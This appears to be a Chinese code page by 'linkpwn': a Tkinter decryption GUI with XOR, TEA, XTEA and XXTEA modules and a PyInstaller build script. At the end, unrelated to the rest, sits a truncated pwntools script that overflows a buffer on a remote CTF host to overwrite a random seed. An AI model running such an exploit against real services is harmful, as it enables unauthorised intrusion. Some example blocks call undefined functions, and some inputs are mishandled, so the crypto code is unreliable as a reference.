网络幻影

import tkinter as tk
from tkinter import messagebox, ttk
import os
import sys
import threading
import time
import cv2
from PIL import Image, ImageTk

# 导入外部解密模块
from xor1 import decrypt as xor_decrypt
from rc4 import decrypt as rc4_decrypt
from tea import decrypt1 as tea_decrypt
from xtea import decrypt1 as xtea_decrypt
from xxtea import decrypt as xxtea_decrypt

class UIBuilder:
    """UI组件构建工具类，用于创建统一风格的UI元素"""

    @staticmethod
    def create_title(parent, text, font_size=24, emoji="", bg="#1a1a2e"):
        """创建带表情符号的标题标签"""
        title = tk.Label(
            parent,
            text=f"{emoji} {text} {emoji}",
            font=("微软雅黑", font_size, "bold"),
            bg=bg,
            fg="white"
        )
        return title

    @staticmethod
    def create_button(parent, text, command, bg="#4ECDC4", font_size=12, emoji="", bg_hover="#3A9DA2"):
        """创建带悬停效果的按钮"""

        def on_enter(e):
            btn.config(bg=bg_hover)

        def on_leave(e):
            btn.config(bg=bg)

        btn = tk.Button(
            parent,
            text=f"{emoji} {text} {emoji}" if emoji else text,
            command=command,
            font=("微软雅黑", font_size, "bold"),
            bg=bg,
            fg="white",
            relief="flat",
            bd=0
        )
        btn.bind("<Enter>", on_enter)
        btn.bind("<Leave>", on_leave)
        return btn

    @staticmethod
    def create_label(parent, text, font_size=12, fg="white", bg="#1a1a2e"):
        """创建统一风格的标签"""
        label = tk.Label(
            parent,
            text=text,
            font=("微软雅黑", font_size),
            fg=fg,
            bg=bg
        )
        return label

    @staticmethod
    def create_algorithm_info(parent, algorithm):
        """生成算法说明文本"""
        info_texts = {
            "xor": " XOR通过将密文与密钥进行异或操作来还原明文。\n"
                   "特点：速度快，适用于简单加密场景，但安全性较低。",
            "rc4": "RC4是一种流加密算法，通过密钥生成伪随机字节流，与密文异或得到明文。\n"
                   "    特点：效率高，常用于网络数据加密，但存在安全漏洞需注意。",
            "tea": "TEA是一种分组加密算法，使用64位分组和128位密钥。\n"
                   " 特点：结构简单，安全性较高，适用于资源受限环境。",
            "xtea": "XTEA是TEA的扩展版本，改进了加密函数和密钥调度算法。\n"
                    "  特点：比TEA更抗密码分析，保持了算法简洁性。",
            "xxtea": "XXTEA是另一种TEA扩展，进一步优化了加密强度和性能。\n"
                     "    特点：安全性高，适用于需要可靠加密的场景。"
        }
        info = tk.Label(
            parent,
            text=info_texts.get(algorithm, "暂无算法说明"),
            font=("微软雅黑", 10),
            fg="#CCCCCC",
            bg="#1a1a2e",
            justify=tk.LEFT,
            wraplength=480
        )
        return info


class VideoBackground:
    """视频背景播放器（增强版，强制使用视频背景）"""

    def __init__(self, parent, video_path, width=800, height=600):
        self.parent = parent
        self.width = width
        self.height = height
        self.video_path = os.path.abspath(video_path)
        self.cap = None
        self.video_label = tk.Label(parent, bg="black")
        self.video_label.place(x=0, y=0, relwidth=1, relheight=1)
        self.stop_flag = False
        self.thread = None
        self.running = True
        self.error_count = 0

        # 尝试多次加载视频，避免单次失败
        self._init_video(force=True)

    def _init_video(self, force=False):
        """初始化视频，支持强制重试"""
        if not os.path.exists(self.video_path):
            self._show_error(f"⚠️ 视频文件不存在：{self.video_path}")
            self._create_error_overlay("视频文件缺失")
            return

        try:
            self.cap = cv2.VideoCapture(self.video_path)
            if not self.cap.isOpened():
                raise RuntimeError(f"无法打开视频文件：{self.video_path}")

            self.fps = self.cap.get(cv2.CAP_PROP_FPS) or 30
            self.start_playback()
            self.error_count = 0  # 重置错误计数

        except Exception as e:
            self.error_count += 1
            self._show_error(f"⚠️ 视频打开错误（尝试 {self.error_count}/5）：{str(e)}")

            # 创建错误提示覆盖层
            self._create_error_overlay(f"视频加载失败 {self.error_count}/5\n正在重试...")

            # 尝试重新加载
            if self.error_count <= 5 and force:
                self.parent.after(3000, self._init_video)
            else:
                self._show_error("⚠️ 视频加载失败，使用默认背景", critical=True)

    def _show_error(self, msg, critical=False):
        """显示错误信息"""
        if DEBUG:
            print(msg)
        if critical:
            messagebox.showerror("视频初始化失败", msg)

    def _create_error_overlay(self, text):
        """创建错误提示覆盖层（半透明）"""
        # 清除现有覆盖层
        for widget in self.parent.winfo_children():
            if isinstance(widget, tk.Canvas) and widget._name.startswith("error_overlay"):
                widget.destroy()

        # 创建新覆盖层（半透明黑色背景）
        overlay = tk.Canvas(
            self.parent,
            width=self.width,
            height=self.height,
            bg="black",
            bd=0,
            highlightthickness=0
        )
        overlay.place(x=0, y=0)
        overlay._name = "error_overlay"

        # 半透明背景（30%透明度效果）
        overlay.create_rectangle(
            0, 0, self.width, self.height,
            fill="black",
            stipple="gray50"
        )

        # 错误文本
        overlay.create_text(
            self.width / 2, self.height / 2,
            text=text,
            fill="white",
            font=("微软雅黑", 14, "bold")
        )

    def start_playback(self):
        """启动视频播放"""
        if self.cap and not self.thread:
            self.stop_flag = False
            self.thread = threading.Thread(
                target=self._update_video,
                daemon=True
            )
            self.thread.start()

    def stop_playback(self):
        """停止视频播放并释放资源"""
        self.stop_flag = True
        self.running = False
        if self.thread and self.thread.is_alive():
            self.thread.join(timeout=3)
        if self.cap:
            self.cap.release()
            self.cap = None
        if DEBUG:
            print("🎥 视频播放已停止")

    def _update_video(self):
        """视频帧更新循环"""
        while self.running and not self.stop_flag:
            try:
                if not self.cap or not self.cap.isOpened():
                    # 尝试重新打开视频
                    self._init_video()
                    time.sleep(1)
                    continue

                ret, frame = self.cap.read()
                if not ret:
                    # 视频结束，从头开始
                    self.cap.set(cv2.CAP_PROP_POS_FRAMES, 0)
                    continue

                # 处理视频帧
                frame = cv2.resize(frame, (self.width, self.height))
                frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
                img = Image.fromarray(frame)
                imgtk = ImageTk.PhotoImage(image=img)

                # 更新显示
                self.video_label.config(image=imgtk)
                self.video_label.image = imgtk
                time.sleep(1.0 / self.fps)

            except Exception as e:
                if DEBUG:
                    print(f"⚠️ 视频处理错误：{str(e)}")
                time.sleep(1)  # 错误后等待，避免CPU占用过高


class DecryptApp:
    def __init__(self, root):
        self.root = root
        self.root.title("✨ linkpwn的解密工具 ✨")
        self.root.geometry("800x600")
        self.root.resizable(False, False)

        # 设置窗口图标（示例图标路径，可替换为实际图标）
        try:
            root.iconbitmap("linkpwn.ico")
        except:
            if DEBUG:
                print("⚠️ 图标加载失败，使用默认图标")

        # 强制使用视频背景
        video_path = "富士山的星空.mp4"
        self.video_bg = VideoBackground(root, video_path)

        # 创建欢迎界面（移除半透明遮罩）
        self.create_welcome_screen()
        self.create_status_bar()

        # 注册窗口关闭事件
        self.root.protocol("WM_DELETE_WINDOW", self.on_close)

    def create_welcome_screen(self):
        """创建欢迎界面（仅保留视频背景上的UI元素）"""
        # 欢迎标题（直接放置在视频背景上）
        title = UIBuilder.create_title(
            self.root,
            "欢迎使用linkpwn的解密工具",
            font_size=36,
            emoji="✨",
            bg=None  # 透明背景
        )
        title.configure(fg="#5dade2")  # 仅设置标题字体为浅蓝色
        title.place(relx=0.5, rely=0.3, anchor=tk.CENTER)

        # 进入按钮（直接放置在视频背景上）
        enter_btn = UIBuilder.create_button(
            self.root,
            "进入解密工具",
            self.open_algorithm_selector,
            bg="#FF6B6B",
            font_size=18,
            emoji="🔓",
            bg_hover="#FF4D4F"
        )
        enter_btn.place(relx=0.5, rely=0.5, anchor=tk.CENTER)

        # 版权信息（直接放置在视频背景上）
        copyright_text = UIBuilder.create_label(
            self.root,
            "© 2025 linkpwn. 保留所有权利.",
            font_size=10,
            fg="#999999",
            bg=None  # 透明背景
        )
        copyright_text.place(relx=0.5, rely=0.95, anchor=tk.CENTER)

    def open_algorithm_selector(self):
        """打开算法选择窗口（优化背景显示）"""
        self.algorithm_window = tk.Toplevel(self.root)
        self.algorithm_window.title("💡 选择解密算法")
        self.algorithm_window.geometry("600x400")
        self.algorithm_window.resizable(False, False)
        self.algorithm_window.transient(self.root)

        # 创建半透明背景（仅在视频加载失败时显示）
        bg = tk.Canvas(
            self.algorithm_window,
            width=600,
            height=400,
            bg="black",
            highlightthickness=0
        )
        bg.pack(fill="both", expand=True)

        # 标题
        title = UIBuilder.create_title(
            self.algorithm_window,
            "选择解密算法",
            font_size=24,
            emoji="🔐"
        )
        title.place(relx=0.5, y=30, anchor=tk.CENTER)

        # 分隔线
        sep = tk.Frame(self.algorithm_window, height=2, bg="#4ECDC4")
        sep.place(x=50, y=70, width=500)

        # 算法按钮配置
        algorithms = [
            ("xor", "❌ XOR解密"),
            ("rc4", "🔒 RC4解密"),
            ("tea", "🍵 TEA解密"),
            ("xtea", "🍵 XTEA解密"),
            ("xxtea", "🍵 XXTEA解密"),
        ]

        for idx, (alg, text) in enumerate(algorithms):
            btn = tk.Button(
                self.algorithm_window,
                text=text,
                font=("微软雅黑", 14, "bold"),
                bg="#4ECDC4",
                fg="white",
                relief="flat",
                command=lambda a=alg: self.open_decrypt_window(a)
            )
            x = 100 if idx % 2 == 0 else 350
            y = 120 + (idx // 2) * 80
            btn.place(x=x, y=y, width=200, height=60)

    def open_decrypt_window(self, algorithm):
        """打开解密窗口（优化背景显示）"""
        # 销毁已存在的解密窗口
        if hasattr(self, 'decrypt_window') and self.decrypt_window.winfo_exists():
            self.decrypt_window.destroy()

        self.decrypt_window = tk.Toplevel(self.root)
        self.decrypt_window.title(f"💬 {self.get_algorithm_name(algorithm)}解密面板")
        self.decrypt_window.geometry("600x450")
        self.decrypt_window.resizable(False, False)
        self.decrypt_window.transient(self.root)

        panel = tk.Canvas(
            self.decrypt_window,
            width=600,
            height=450,
            bg="black",
            highlightthickness=0,
            bd=0,
            relief="flat"
        )
        panel.pack(fill="both", expand=True)

        # 标题
        title = UIBuilder.create_title(
            panel,
            f"{self.get_algorithm_name(algorithm)}解密工具",
            font_size=24,
            bg="black"
        )
        title.place(relx=0.5, y=30, anchor=tk.CENTER)

        # 分隔线
        sep = tk.Frame(panel, height=2, bg="#4ECDC4")
        sep.place(x=50, y=70, width=500)

        # 算法说明
        info = UIBuilder.create_algorithm_info(panel, algorithm)
        info.place(x=50, y=90, width=500)

        # 密文输入框
        cipher_frame = tk.Frame(panel, bg="#1a1a2e")
        cipher_frame.place(x=50, y=130, width=500, height=100)

        cipher_label = UIBuilder.create_label(cipher_frame, "密文:", font_size=12)
        cipher_label.pack(anchor="w", pady=(0, 5))

        self.cipher_entry = tk.Text(
            cipher_frame,
            width=58,
            height=3,
            font=("Consolas", 12),
            bg="#2a2a3e",
            fg="white",
            insertbackground="white",
            relief="flat",
            padx=10,
            pady=5
        )
        self.cipher_entry.pack(fill="x")
        self.cipher_entry.insert("1.0", self.get_default_ciphertext(algorithm))

        # 密钥输入框
        key_frame = tk.Frame(panel, bg="#1a1a2e")
        key_frame.place(x=50, y=250, width=500, height=80)

        key_label = UIBuilder.create_label(key_frame, "密钥:", font_size=12)
        key_label.pack(anchor="w", pady=(0, 5))

        self.key_entry = tk.Entry(
            key_frame,
            width=58,
            font=("Consolas", 12),
            bg="#2a2a3e",
            fg="white",
            insertbackground="white",
            relief="flat"
        )
        self.key_entry.pack(fill="x")
        self.key_entry.insert(0, self.get_default_key(algorithm))

        # 按钮区域
        btn_frame = tk.Frame(panel, bg="#1a1a2e")
        btn_frame.place(x=50, y=340, width=500, height=40)

        # 解密按钮
        decrypt_btn = UIBuilder.create_button(
            btn_frame,
            "开始解密",
            lambda: self.perform_decryption(algorithm),
            bg="#FF6B6B",
            font_size=14,
            emoji="🔓"
        )
        decrypt_btn.pack(side="left", padx=(150, 0))

        # 返回按钮
        back_btn = UIBuilder.create_button(
            btn_frame,
            "返回",
            self.decrypt_window.destroy,
            bg="#666666",
            font_size=10,
            emoji="◀"
        )
        back_btn.pack(side="right", padx=(0, 20))

        # 提示文本
        hint = UIBuilder.create_label(
            panel,
            "💡 提示: 输入密文和密钥后点击解密按钮",
            font_size=10,
            fg="#999999"
        )
        hint.place(x=50, y=400, width=500)

    def get_algorithm_name(self, algorithm):
        """获取算法名称"""
        names = {
            "xor": "XOR",
            "rc4": "RC4",
            "tea": "TEA",
            "xtea": "XTEA",
            "xxtea": "XXTEA"
        }
        return names.get(algorithm, algorithm.upper())

    def get_default_ciphertext(self, algorithm):
        """获取默认密文"""
        defaults = {
            "xor": "1a2b3c4d5e6f",
            "rc4": "730e7d1c4a1e",
            "tea": "0123456789abcdef",
            "xtea": "0123456789abcdef",
            "xxtea": "0123456789abcdef"
        }
        return defaults.get(algorithm, "")

    def get_default_key(self, algorithm):
        """获取默认密钥"""
        defaults = {
            "xor": "secret",
            "rc4": "key12345",
            "tea": "1234567890123456",  # 16字节密钥
            "xtea": "1234567890123456",  # 16字节密钥
            "xxtea": "1234567890123456"  # 16字节密钥
        }
        return defaults.get(algorithm, "")

    def create_status_bar(self):
        """创建状态栏"""
        self.status = tk.Label(
            self.root,
            text="✨ 就绪 | linkpwn的解密工具 v1.0 | 安全解密 ✨",
            bd=1,
            relief=tk.SUNKEN,
            anchor=tk.W,
            font=("微软雅黑", 9),
            fg="#CCCCCC",
            bg="#1a1a2e"
        )
        self.status.pack(side=tk.BOTTOM, fill=tk.X)

    def perform_decryption(self, algorithm):
        """执行解密操作"""
        ciphertext = self.cipher_entry.get("1.0", tk.END).strip()
        key = self.key_entry.get().strip()

        if not ciphertext:
            self.status.config(text="🛑 错误: 密文不能为空")
            messagebox.showerror("😢 错误", "密文不能为空哦!")
            return

        if not key:
            self.status.config(text="🛑 错误: 密钥不能为空")
            messagebox.showerror("😢 错误", "密钥不能为空哦!")
            return

        self.status.config(text=f"🔄 使用{self.get_algorithm_name(algorithm)}解密中...")
        threading.Thread(target=self._perform_decryption_thread, args=(ciphertext, key, algorithm), daemon=True).start()

    def _perform_decryption_thread(self, ciphertext, key, algorithm):
        """在单独的线程中执行解密操作"""
        try:
            # 根据算法调用相应的解密函数
            if algorithm == "xor":
                result = xor_decrypt(ciphertext, key)
            elif algorithm == "rc4":
                result = rc4_decrypt(ciphertext, key)
            elif algorithm == "tea":
                result = tea_decrypt(ciphertext, key)
            elif algorithm == "xtea":
                result = xtea_decrypt(ciphertext, key)
            elif algorithm == "xxtea":
                result = xxtea_decrypt(ciphertext, key)
            else:
                result = f"🛑 不支持的算法: {algorithm}"

            self.root.after(0, self._update_decryption_result, result)
        except Exception as e:
            error_msg = f"🛑 解密过程中发生错误: {str(e)}"
            self.root.after(0, self._update_decryption_error, error_msg)

    def _update_decryption_result(self, result):
        """更新解密结果"""
        if "错误" in result or "Error" in result:
            self.status.config(text=f"😢 解密失败: {result}")
            messagebox.showerror("😢 解密失败", result)
        else:
            self.status.config(text="🎉 解密成功!")
            self.show_result(result)

    def _update_decryption_error(self, error_msg):
        """更新解密错误"""
        self.status.config(text=error_msg)
        messagebox.showerror("😢 错误", error_msg)

    def show_result(self, plaintext):
        """显示解密结果窗口（优化背景显示）"""
        try:
            result_window = tk.Toplevel(self.decrypt_window)
            result_window.title("🎁 解密结果")
            result_window.geometry("500x300")
            result_window.resizable(False, False)

            bg = tk.Canvas(result_window, width=500, height=300, bg="#1a1a2e")
            bg.pack(fill="both", expand=True)

            title = UIBuilder.create_title(
                bg,
                "解密成功!",
                font_size=18,
                emoji="🎉",
                bg="#1a1a2e"
            )
            title.place(relx=0.5, y=40, anchor=tk.CENTER)

            result_frame = tk.Frame(bg, bg="#2a2a3e", bd=1, relief=tk.SUNKEN)
            result_frame.place(x=25, y=70, width=450, height=180)

            scrollbar = ttk.Scrollbar(result_frame)
            scrollbar.pack(side=tk.RIGHT, fill=tk.Y)

            result_text = tk.Text(
                result_frame,
                bg="#2a2a3e",
                fg="white",
                font=("Consolas", 11),
                yscrollcommand=scrollbar.set,
                wrap=tk.WORD,
                padx=10,
                pady=10
            )
            result_text.pack(fill="both", expand=True)
            result_text.insert(tk.END, plaintext)
            result_text.config(state=tk.DISABLED)
            scrollbar.config(command=result_text.yview)

            close_btn = UIBuilder.create_button(
                bg,
                "关闭",
                result_window.destroy,
                bg="#4ECDC4",
                font_size=12
            )
            close_btn.place(relx=0.5, y=260, anchor=tk.CENTER)
        except Exception as e:
            messagebox.showerror("😢 错误", f"无法显示结果: {str(e)}")

    def on_close(self):
        """窗口关闭时停止视频播放"""
        if hasattr(self, 'video_bg') and self.video_bg:
            self.video_bg.stop_playback()
        self.root.destroy()


# === 程序入口 ===
DEBUG = True  # 开发阶段设为True，发布时改为False

def run_app():
    """运行应用程序"""
    root = tk.Tk()
    # 设置窗口透明度（仅支持Windows和X11系统）
    if sys.platform in ['win32', 'linux']:
        root.attributes('-alpha', 0.95)  # 95%透明度，保留视频背景效果
    app = DecryptApp(root)
    root.mainloop()

if __name__ == "__main__":
    run_app()

import tkinter as tk

class UIBuilder:
    """UI构建器，负责创建美化后的界面元素"""
    
    @staticmethod
    def create_button(parent, text, command, bg="#4ECDC4", fg="white", font_size=12, emoji=""):
        """创建美化的按钮"""
        full_text = f"{emoji} {text}" if emoji else text
        
        # 安全的颜色调整函数
        def darken_color(hex_color, factor=0.8):
            """降低颜色亮度"""
            hex_color = hex_color.lstrip('#')
            rgb = tuple(int(hex_color[i:i+2], 16) for i in (0, 2, 4))
            darkened = tuple(int(max(0, min(255, c * factor))) for c in rgb)
            return f"#{darkened[0]:02x}{darkened[1]:02x}{darkened[2]:02x}"
        
        return tk.Button(
            parent,
            text=full_text,
            command=command,
            font=("微软雅黑", font_size, "bold"),
            bg=bg,
            fg=fg,
            activebackground=darken_color(bg),
            relief="flat",
            padx=15,
            pady=5
        )
    
    @staticmethod
    def create_label(parent, text, font_size=12, fg="white", bg="#1a1a2e", emoji=""):
        """创建美化的标签"""
        full_text = f"{emoji} {text}" if emoji else text
        return tk.Label(
            parent,
            text=full_text,
            font=("微软雅黑", font_size),
            fg=fg,
            bg=bg
        )
    
    @staticmethod
    def create_title(parent, text, font_size=24, fg="#4ECDC4", bg="#1a1a2e", emoji=""):
        """创建美化的标题"""
        full_text = f"{emoji} {text} {emoji}" if emoji else text
        return tk.Label(
            parent,
            text=full_text,
            font=("微软雅黑", font_size, "bold"),
            fg=fg,
            bg=bg
        )
    
    @staticmethod
    def create_algorithm_info(parent, algorithm):
        """创建算法说明信息"""
        info_text = {
            "xor": "❌ XOR加密: 最简单的加密算法，通过逐字节异或运算实现",
            "rc4": "🔒 RC4: 流加密算法，广泛用于网络协议如SSL/TLS",
            "tea": "🍵 TEA: 小型加密算法，使用64位数据块和128位密钥",
            "xtea": "🍵 XTEA: TEA的改进版本，修复了一些安全漏洞",
            "xxtea": "🍵 XXTEA: 更安全的TEA变体，处理变长数据块"
        }
        
        return tk.Label(
            parent,
            text=info_text.get(algorithm, f"❓ 未知算法: {algorithm}"),
            font=("微软雅黑", 10),
            fg="#FF9F1C",
            bg="#1a1a2e"
        )

def decrypt1(ciphertext, key):
    """TEA解密算法 - 修复32位无符号整数问题"""
    try:
        # 确保密钥长度为16字节
        key_bytes = key.encode('utf-8')
        if len(key_bytes) < 16:
            key_bytes = key_bytes.ljust(16, b'\0')
        elif len(key_bytes) > 16:
            key_bytes = key_bytes[:16]

        # 转换密文为字节
        if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
            cipher_bytes = bytes.fromhex(ciphertext)
        else:
            cipher_bytes = ciphertext.encode('utf-8')

        # 确保数据长度是8的倍数
        if len(cipher_bytes) % 8 != 0:
            padding = 8 - (len(cipher_bytes) % 8)
            cipher_bytes += b'\0' * padding

        # 分块解密
        decrypted = bytearray()
        for i in range(0, len(cipher_bytes), 8):
            block = cipher_bytes[i:i + 8]

            # 解包为两个32位无符号整数
            v0 = int.from_bytes(block[:4], 'big') & 0xFFFFFFFF
            v1 = int.from_bytes(block[4:], 'big') & 0xFFFFFFFF
            k = [int.from_bytes(key_bytes[i * 4:(i + 1) * 4], 'big') & 0xFFFFFFFF for i in range(4)]

            # TEA解密过程
            delta = 0x9E3779B9
            sum_val = (delta * 32) & 0xFFFFFFFF  # 确保初始值为32位无符号

            # 辅助函数确保所有中间计算都在32位范围内
            def tea_op(value, shift, add_val):
                """确保移位和加法操作保持在32位范围内"""
                if shift > 0:
                    return ((value << shift) & 0xFFFFFFFF) + add_val
                else:
                    return ((value >> -shift) & 0xFFFFFFFF) + add_val

            for _ in range(32):
                # 分解计算步骤，确保每步都在32位范围内
                term1 = tea_op(v0, 4, k[2])
                term2 = (v0 + sum_val) & 0xFFFFFFFF
                term3 = tea_op(v0, -5, k[3])

                v1 = (v1 - ((term1 ^ term2) ^ term3)) & 0xFFFFFFFF

                term1 = tea_op(v1, 4, k[0])
                term2 = (v1 + sum_val) & 0xFFFFFFFF
                term3 = tea_op(v1, -5, k[1])

                v0 = (v0 - ((term1 ^ term2) ^ term3)) & 0xFFFFFFFF
                sum_val = (sum_val - delta) & 0xFFFFFFFF

            # 再次确保v0和v1为非负数
            v0 &= 0xFFFFFFFF
            v1 &= 0xFFFFFFFF

            # 打包解密结果（添加额外检查）
            try:
                decrypted_block = v0.to_bytes(4, 'big') + v1.to_bytes(4, 'big')
            except OverflowError:
                # 作为备用方案，直接处理32位值
                decrypted_block = (v0 & 0xFFFFFFFF).to_bytes(4, 'big') + (v1 & 0xFFFFFFFF).to_bytes(4, 'big')

            decrypted.extend(decrypted_block)

        try:
            # 尝试UTF-8解码，失败则返回HEX
            return decrypted.decode('utf-8').rstrip('\0')
        except UnicodeDecodeError:
            return decrypted.hex()

    except Exception as e:
        return f"🛑 解密错误: {str(e)}"
# 使用示例
if __name__ == "__main__":
    # 示例1: 解密十六进制格式的密文
    ciphertext = "0123456789abcdef"  # 示例密文（十六进制）
    key = "1234567890123456"        # 16字节密钥
    plaintext = decrypt(ciphertext, key)
    print(f"解密结果: {plaintext}")
    
    # 示例2: 解密字符串格式的密文
    ciphertext = "encrypted_data"    # 示例密文（字符串）
    key = "mysecretkey1234"          # 16字节密钥
    plaintext = decrypt(ciphertext, key)
    print(f"解密结果: {plaintext}")

# xor1.py

def xor_encrypt_decrypt(data, key):
    """
    执行异或加密或解密操作。
    
    :param data: 原始数据（字符串或 bytes）
    :param key: 密钥（字符串或 bytes）
    :return: 加密或解密后的 bytes 数据
    """
    if isinstance(data, str):
        data = data.encode('utf-8')
    if isinstance(key, str):
        key = key.encode('utf-8')

    result = bytearray()
    for i in range(len(data)):
        key_byte = key[i % len(key)]
        result.append(data[i] ^ key_byte)

    return bytes(result)


def xor_decrypt(ciphertext, key):
    """
    解密并返回可读格式。
    
    优先尝试将结果解码为 UTF-8 字符串；
    如果失败，则返回其十六进制表示。
    
    :param ciphertext: 密文（bytes）
    :param key: 解密密钥（字符串或 bytes）
    :return: 可读明文（字符串）或错误信息
    """
    try:
        decrypted_bytes = xor_encrypt_decrypt(ciphertext, key)
        try:
            return decrypted_bytes.decode('utf-8')  # 尝试作为文本返回
        except UnicodeDecodeError:
            return decrypted_bytes.hex()  # 否则返回 hex 字符串
    except Exception as e:
        return f"🛑 解密错误: {str(e)}"


# 提供别名，方便外部调用 decrypt(data, key)
decrypt = xor_decrypt


# 测试用例（仅当直接运行此模块时执行）
if __name__ == "__main__":
    test_key = "mysecretpassword"
    original_text = "Hello, world! This is a test."

    print("原文:", original_text)

    encrypted_data = xor_encrypt_decrypt(original_text, test_key)
    print("加密结果 (hex):", encrypted_data.hex())

    decrypted_text = xor_decrypt(encrypted_data, test_key)
    print("解密结果:", decrypted_text)

def decrypt1(ciphertext, key):
    """XTEA解密算法"""
    try:
        # 确保密钥长度为16字节
        key_bytes = key.encode('utf-8')
        if len(key_bytes) < 16:
            key_bytes = key_bytes.ljust(16, b'\0')
        elif len(key_bytes) > 16:
            key_bytes = key_bytes[:16]
        
        # 转换密文为字节
        if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
            cipher_bytes = bytes.fromhex(ciphertext)
        else:
            cipher_bytes = ciphertext.encode('utf-8')
        
        # 确保数据长度是8的倍数
        if len(cipher_bytes) % 8 != 0:
            padding = 8 - (len(cipher_bytes) % 8)
            cipher_bytes += b'\0' * padding
        
        # 分块解密
        decrypted = bytearray()
        for i in range(0, len(cipher_bytes), 8):
            block = cipher_bytes[i:i+8]
            
            # 解包为两个32位整数
            v0, v1 = int.from_bytes(block[:4], 'big'), int.from_bytes(block[4:], 'big')
            k = [int.from_bytes(key_bytes[i*4:(i+1)*4], 'big') for i in range(4)]
            
            # XTEA解密过程
            delta = 0x9E3779B9
            sum_val = (delta * 32) & 0xFFFFFFFF
            
            for _ in range(32):
                v1 = ((v1 - (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum_val + k[(sum_val >> 11) & 3]))) & 0xFFFFFFFF
                sum_val = (sum_val - delta) & 0xFFFFFFFF
                v0 = ((v0 - (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum_val + k[sum_val & 3]))) & 0xFFFFFFFF
            
            # 打包解密结果
            decrypted_block = v0.to_bytes(4, 'big') + v1.to_bytes(4, 'big')
            decrypted.extend(decrypted_block)
        
        try:
            return decrypted.decode('utf-8').rstrip('\0')
        except UnicodeDecodeError:
            return decrypted.hex()
    
    except Exception as e:
        return f"🛑 解密错误: {str(e)}"

def decrypt(ciphertext, key):
    """XXTEA解密算法"""
    try:
        # 确保密钥长度为16字节
        key_bytes = key.encode('utf-8')
        if len(key_bytes) < 16:
            key_bytes = key_bytes.ljust(16, b'\0')
        elif len(key_bytes) > 16:
            key_bytes = key_bytes[:16]
        
        # 转换密文为字节
        if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
            cipher_bytes = bytes.fromhex(ciphertext)
        else:
            cipher_bytes = ciphertext.encode('utf-8')
        
        # 确保数据长度是4的倍数
        if len(cipher_bytes) % 4 != 0:
            padding = 4 - (len(cipher_bytes) % 4)
            cipher_bytes += b'\0' * padding
        
        # 解包为32位整数数组
        n = len(cipher_bytes) // 4
        v = [int.from_bytes(cipher_bytes[i*4:(i+1)*4], 'big') for i in range(n)]
        k = [int.from_bytes(key_bytes[i*4:(i+1)*4], 'big') for i in range(4)]
        
        # XXTEA解密过程
        delta = 0x9E3779B9
        q = 6 + 52 // n
        sum_val = delta * q
        
        for _ in range(q):
            e = (sum_val >> 2) & 3
            for p in range(n-1, 0, -1):
                v[p] = (v[p] - (((v[p-1] << 4) ^ (v[p-1] >> 5)) + v[p-1]) ^ (sum_val + k[(p+e) % 4])) & 0xFFFFFFFF
            v[0] = (v[0] - (((v[n-1] << 4) ^ (v[n-1] >> 5)) + v[n-1]) ^ (sum_val + k[e])) & 0xFFFFFFFF
            sum_val = (sum_val - delta) & 0xFFFFFFFF
        
        # 打包解密结果
        decrypted = bytearray()
        for num in v:
            decrypted.extend(num.to_bytes(4, 'big'))
        
        try:
            return decrypted.decode('utf-8').rstrip('\0')
        except UnicodeDecodeError:
            return decrypted.hex()
    
    except Exception as e:
        return f"🛑 解密错误: {str(e)}"


# 使用示例
if __name__ == "__main__":
    # 示例1: 解密十六进制格式的密文
    ciphertext = "0123456789abcdef"  # 示例密文（十六进制）
    key = "1234567890123456"        # 16字节密钥
    plaintext = decrypt(ciphertext, key)
    print(f"解密结果: {plaintext}")
    
    # 示例2: 解密字符串格式的密文
    ciphertext = "encrypted_data"    # 示例密文（字符串）
    key = "mysecretkey1234"          # 16字节密钥
    plaintext = decrypt(ciphertext, key)
    print(f"解密结果: {plaintext}")

import os
import subprocess
import sys
from pathlib import Path

def check_dependencies():
    """检查并安装必要的依赖"""
    required = [
        'pyinstaller',
        'opencv-python',
        'pillow'
    ]
    
    try:
        import tkinter
    except ImportError:
        print("错误: 需要安装 tkinter (通常是 Python 自带)")
        sys.exit(1)
    
    for package in required:
        try:
            __import__(package)
        except ImportError:
            print(f"正在安装 {package}...")
            subprocess.check_call([sys.executable, "-m", "pip", "install", package])

def build_exe():
    """构建 EXE 文件"""
    # 获取当前脚本所在目录
    base_dir = Path(__file__).parent
    
    # 视频文件路径 (确保视频文件存在)
    video_file = "富士山的星空.mp4"
    if not (base_dir / video_file).exists():
        print(f"错误: 视频文件 {video_file} 不存在!")
        sys.exit(1)
    
    # 图标文件路径 (可选)
    icon_file = "linkpwn.ico"
    icon_param = f"--icon={icon_file}" if (base_dir / icon_file).exists() else ""
    
    # 加密模块列表
    crypto_modules = ['xor1', 'rc4', 'tea', 'xtea', 'xxtea']
    
    # 构建 PyInstaller 命令
    cmd = [
        'pyinstaller',
        '--onefile',           # 打包成单个文件
        '--windowed',           # 不显示控制台窗口
        '--noconsole',          # 同 --windowed
        '--clean',              # 清理临时文件
        '--noconfirm',          # 覆盖输出目录不提示
        '--name=linkpwntool',   # 输出文件名
        '--add-data', f'{video_file};.',  # 添加视频文件
    ]
    
    # 添加图标 (如果存在)
    if icon_param:
        cmd.append(icon_param)
    
    # 添加加密模块
    for mod in crypto_modules:
        mod_file = f"{mod}.py"
        if (base_dir / mod_file).exists():
            cmd.extend(['--add-data', f'{mod_file};.'])
        else:
            print(f"警告: 加密模块 {mod_file} 不存在!")
    
    # 添加主程序
    cmd.append('main.py')
    
    # 执行打包命令
    try:
        print("开始打包...")
        subprocess.check_call(cmd)
        print("\n打包成功! EXE 文件位于 dist/ 目录")
        
        # 复制视频文件到 dist 目录 (PyInstaller 的 --add-data 有时会失效)
        if (base_dir / 'dist').exists():
            import shutil
            shutil.copy(base_dir / video_file, base_dir / 'dist' / video_file)
            print(f"已复制视频文件到 dist 目录")
    except subprocess.CalledProcessError as e:
        print(f"\n打包失败: {e}")
    except Exception as e:
        print(f"\n发生错误: {str(e)}")

if __name__ == "__main__":
    check_dependencies()
    build_exe()

from pwn import *
from ctypes import *
p=remote('61.147.171.105','57464')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*b"a"+p64(0)  #buf与seed的偏移是0x40
p.sendline(payload)

a=[]
for i in range(50):
